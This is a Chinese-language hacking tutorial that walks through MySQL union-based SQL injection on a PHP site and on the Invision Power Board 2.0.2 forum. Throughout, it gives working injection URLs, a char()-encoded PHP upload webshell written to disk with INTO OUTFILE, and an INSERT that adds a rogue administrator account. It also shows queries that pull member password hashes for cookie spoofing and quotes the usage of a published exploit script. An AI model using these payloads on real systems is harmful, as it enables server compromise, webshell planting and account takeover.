我前段時間寫了一篇《MySQL注入中導出字段內容的研究——通過注入導出WebShell》(),自學教程,是查詢數據然後在生成文件的,現在我發現其實不少PHP程序,比如IPB就是把數據處理過了,再插入數據庫,一般是htmlspecialchars()之後,插入數據,所以利用該文的方法,就行不通了,即使把webshell的代碼插入數據庫,生成出來的也是被處理過的代碼。用不了。
近段時間在測試一個PHP網站的時候,由於在load_file的時候,看不到文件的內容,所以我就懷疑是不是字段的原因,因為那些全部是int類型的,還有少數是VARCHAR的,我當初以為是因為這個原因,其實後來進入以後才發現是沒有FILE的權限,我不斷的換URL提交(注意,寫文章的時候,該網站已經修補了漏洞,現在是本地演示):
?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)
屏幕上顯示了:
/home/www/config.php
路徑沒錯啊,文件也存在啊,難道沒有權限?暫時放下這個,這個站點有可寫的目錄,是ipb2的論壇,/ipb2/uploads這個目錄是要設置成可寫的,上傳附件才能正常使用,我就想利用插數據,導出文件的方法,因為我看了phpinfo(),magic_quotes_gpc 是關閉的,所以用into outfile沒有問題,然後在本地測試了一下,發現提交的代碼:
變成了:
多提交幾個地方,均被做了處理,看來這樣我的這個思路又不行了,突然想到剛才看路徑的時候,能用char()函數輸出字符串,那我能不能直接寫上傳代碼?
這個轉換為10進制是這樣的:
char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
我馬上提交:
?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
屏幕並沒有顯示出我們想要的東西,我查看源代碼,發現
這個代碼老老實實躺在裡面,如圖:
(點擊查看原圖)
之所以看不見,是因為浏覽器把“<”和“>”之間的東西當成HTML代碼解析了,這麼說是可行的!這樣的好處和插數據,導出文件相比好處在於:
不用插入數據,因此不用考慮數據類型和長度,也不怕做處理。 只用知道一個數據表就可以使用into outfile了,無需知道字段。因為之前,我猜到一個user表,我也不用去知道字段了,有字段作為查詢條件只是為了防止數據庫很大,導出所有數據時很慢的情況,我現在馬上就提交:
?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*
馬上查看,如圖:
(點擊查看原圖)
注意:因為我這裡說是用char()這個函數寫的。所以就用這個來說明了。既然能用單引號就沒必要用CHAR函數了寫東西了。可以直接這樣:
?id=1 and 1=2 union select 1,1, '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*
其中:?=?、$=$,注意編碼,暈……我怎麼覺得這篇文章有點多余啊??都寫到這裡了,繼續吧!我只是為了告訴大家可以不用插數據了。5555,就這個意思而已也寫了這麼多,我發現我這麼久沒寫文章,邏輯性變差了,沒有條理了。各位將就點吧。
做個表單在本地提交:
< input TYPE="file"> < input VALUE="提交" TYPE="submit">< /form>
傳了一個phpspy上去,呵呵,phpmyadmin的密碼知道了,馬上查看了表前綴等相關信息,執行SQL語句:
INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '[email protected]', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);
這樣就添加了一個IPB2論壇的管理員用戶名是“angel”,密碼是“thepass”,呵呵。
到這裡還沒有說IPB2的漏洞呢,現在補充一下怎麼利用,因為這個測試的站點就是用最新的IPB2.0.2,所以順便把我測試的結果寫下來。真是不好意思。我通過IPB2的注入又進入了一次。
看了看IPB2安全公告:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]
得知qpid這個變量是沒有過濾的,我先提交:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’
返回:
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)WHERE pid IN (1')
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2mySQL error code: Date: Monday 06th of December 2004 09:14:34 PM
看到了嗎?執行了什麼SQL語句,都反饋回來了。從這裡可以看出’(單引號)已經被過濾了,轉為10進制,變成'了,所以用into outfile沒有辦法導出文件。這裡如果構造出有效的語句,也只能得到敏感信息了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)WHERE pid IN (1')
從這裡看到SQL語句後。我再試著構造語句,利用union聯合查詢,可以得到任意數據庫、任意數據表、任意字段的內容。提交:
?act=Post&CODE=02&f=2&t=1&qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /*
可以看到用戶id為1的用戶名。
?act=Post&CODE=02&f=2&t=1&qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /*
可以看到用戶id為1的密碼MD5散列。
如果論壇太大了。找不到管理員的ID,直接用“where mgroup=4”作為查詢條件可以了。我也不多說怎麼構造了。大家如果不明白構造,5自學網,可以先去http//www.4ngel.net看看相關文章。有了這些敏感的數據,就可以直接COOKIE欺騙了哦。IPB2.0.0-2.0.2的COOKIE欺騙的漏洞細節,可以在綠盟看到(?act=sec_bug&do=view&bug_id=7181)。
RusH security team發布的IPB2的exploit(),要求的參數比較多,居然還要知道SID,如下:
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_## ------------------------------------------------------------------------------------------------## [>] SERVER: 127.0.0.1## [>] DIR: /IPB202/## [>] FORUM: 2## [>] TOPIC: 1## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3## [>] PREFIX: ibf_## [>] ID:
如果成功利用了,就會返回,
## [ REPORT ]------------------------------------------------------------## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d]## -----------------------------------------------------------------## Now you need edit cookie and insert new pass_hash and member_id values.##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
而且他們是CONCAT(id,char(58),name,char(58),member_login_key)這樣來判斷。自然沒有我們直接返回這麼潇灑了。不過工具也只能這樣了,手工的話,我們只用知道構造就行了,僅此而已。
工具只是武器,技術才是靈魂。毛主席說過:自己動手,豐衣足食。